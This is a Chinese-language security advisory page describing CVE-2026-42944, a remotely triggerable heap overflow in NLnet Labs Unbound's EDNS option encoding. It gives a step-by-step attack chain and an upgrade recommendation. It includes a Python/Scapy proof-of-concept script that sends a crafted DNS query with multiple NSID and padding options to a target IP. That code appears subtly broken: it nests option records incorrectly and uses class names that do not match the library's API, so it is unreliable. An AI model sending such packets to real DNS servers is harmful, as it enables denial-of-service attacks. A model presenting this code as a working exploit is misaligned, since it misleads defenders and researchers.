IPBUF安全漏洞报告
English
CVE-2026-42944 CVSS 7.5 高危

CVE-2026-42944 Unbound堆溢出漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-42944
漏洞类型
堆溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NLnet Labs Unbound

相关标签

堆溢出DNSUnbound远程拒绝服务CVE-2026-42944

漏洞概述

NLnet Labs Unbound 1.14.0至1.25.0版本存在堆溢出漏洞。该漏洞源于EDNS字段大小计算缺陷,当处理包含多个NSID或DNS Cookie选项的查询时触发。未经认证的攻击者可发送特制DNS包,利用此缺陷导致服务崩溃或内存破坏。

技术细节

该漏洞发生在Unbound对回复包进行编码的过程中。当服务器启用了`nsid`、`answer-cookie`或`pad-responses`选项时,若攻击者在查询请求中附加了多个此类EDNS选项,Unbound在计算回复所需的EDNS字段大小时会发生截断错误。这种错误的计算导致后续数据编码步骤写入超出堆缓冲区分配大小的数据,造成堆溢出。由于写入的是Unbound受控数据,这会破坏内存结构,最终导致DNS解析服务崩溃。

攻击链分析

STEP 1
侦察
攻击者识别目标网络中运行NLnet Labs Unbound 1.14.0至1.25.0版本的DNS服务器。
STEP 2
漏洞利用
攻击者向目标服务器发送特制的DNS查询包,该包包含多个NSID、DNS Cookie或EDNS Padding选项。
STEP 3
溢出触发
Unbound服务器处理请求,在计算EDNS字段大小时发生截断错误,导致堆缓冲区溢出写入。
STEP 4
影响达成
堆溢出导致Unbound服务崩溃(拒绝服务)或潜在的内存数据破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
from scapy.all import * def send_exploit(target_ip): # Construct a DNS query with multiple EDNS0 options to trigger the heap overflow # The vulnerability triggers when Unbound encodes multiple NSID/Cookie/Pad options in the reply. # Base DNS query query = DNSQR(qname="example.com") # EDNS0 options: Multiple NSID options to trigger the miscalculation opt1 = DNSRROPT(rdata=DNSOPTNSID()) opt2 = DNSRROPT(rdata=DNSOPTNSID()) opt3 = DNSRROPT(rdata=DNSOPTPAD()) # Assemble the packet with multiple options in the Additional section packet = IP(dst=target_ip) / UDP(dport=53) / DNS(rd=1, qd=query, ar=DNSRROPT(z=0, rdata=[opt1, opt2, opt3])) print(f"[*] Sending exploit packet to {target_ip}...") send(packet) print("[+] Packet sent.") if __name__ == "__main__": target = "192.168.1.10" # Replace with actual target IP send_exploit(target)

影响范围

NLnet Labs Unbound 1.14.0 - 1.25.0

防御指南

临时缓解措施
建议立即升级到Unbound 1.25.1版本以修复此漏洞。若无法立即升级,请检查并禁用相关EDNS选项作为临时缓解措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表